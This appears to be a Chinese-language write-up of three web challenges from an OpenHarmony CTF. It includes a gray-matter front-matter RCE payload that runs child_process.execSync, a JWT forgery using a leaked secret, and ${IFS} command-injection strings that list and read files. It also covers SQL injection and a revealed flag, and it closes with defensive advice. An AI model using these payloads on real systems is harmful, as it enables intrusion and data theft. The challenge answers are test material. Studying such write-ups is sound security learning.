第一届OpenHarmony_CTF专题赛web方向题解
字数 1154 2025-08-30 06:50:12
OpenHarmony CTF专题赛Web方向题解教学文档
1. Filesystem题目解析
1.1 漏洞发现
- 在
admin.controller.ts中发现使用了gray-matter库处理用户的slogon gray-matter库存在RCE漏洞,可通过构造特定payload执行任意命令
1.2 漏洞利用
const gray = require('gray-matter');
var payload = '---js\n((require("child_process")).execSync("whoami > RCE.txt"))\n---RCE';
var username = 'admin';
const profile = gray.stringify(gray(payload).content, {username: username});
console.log(profile)
1.3 JWT伪造
- 发现secret值
sec_y0u_nnnnever_know可直接用于伪造JWT - 尝试通过软链接读取
/opt/filesystem/adminconfig.lock未果 - 最终使用
sec_y0u_nnnnever_know成功伪造JWT
1.4 获取flag
- 服务器响应缓慢,通过
ass.sh得知flag位于/data/flag目录 - 最终找到flag文件
2. Layers of Compromise题目解析
2.1 初始访问
- 使用弱密码
user/password123成功登录
2.2 发现隐藏资源
- 发现二级目录,点击日志会重定向到登录界面
- 猜测需要特定token访问日志功能
2.3 爆破获取token
- 爆破文件路径得到
/secrettttts/token.txt - 获取
username和auth_key - 计算MD5后序列化数据并base64编码生成
auth_token
2.4 命令执行
- 构造payload闭合执行命令:
";${IFS}ls${IFS}/;# - 查找flag:
";${IFS}nl${IFS}../../f*/f*;#
3. ezAPP_And_SERVER题目解析
3.1 初始分析
- 获取附件hap文件
- 在abc中发现XOR key和加密字符
3.2 解密过程
- 在UserList中发现硬编码的uid
- 分析utils中的JWT生成逻辑
3.3 SQL注入
- 伪造JWT
- 通过SQL注入获取admin的uid
{
"data": {
"users": [
{
"uuid": "9d5ec98c-5848-4450-9e58-9f97b6b3b7bc",
"name": "admin",
"phone": "123-456-7890"
},
// 其他用户数据...
]
}
}
3.4 获取flag
- 构造客户端逻辑生成JWT和sign
- 最终获取flag:
{"flag":"flag{lDBRUyyVQNGHtZn7SIuu295KAS3kniFk}"}
关键知识点总结
-
gray-matter库RCE漏洞:
- 通过构造特定格式的输入可执行任意Node.js代码
- 利用child_process模块执行系统命令
-
JWT安全:
- 硬编码secret的危险性
- JWT伪造技术
- 通过文件读取获取secret的方法
-
命令注入技巧:
- 使用
${IFS}替代空格绕过过滤 - 目录遍历技术
- 使用
-
移动应用逆向:
- HAP文件分析
- XOR加密解密
- 硬编码凭证的风险
-
SQL注入:
- 通过API端点注入
- 获取敏感用户信息
防御建议
- 避免使用已知存在漏洞的库
- 不要硬编码敏感信息
- 实施严格的输入验证
- 使用安全的密码存储方式
- 对JWT使用强随机secret
- 实施最小权限原则
- 定期进行安全审计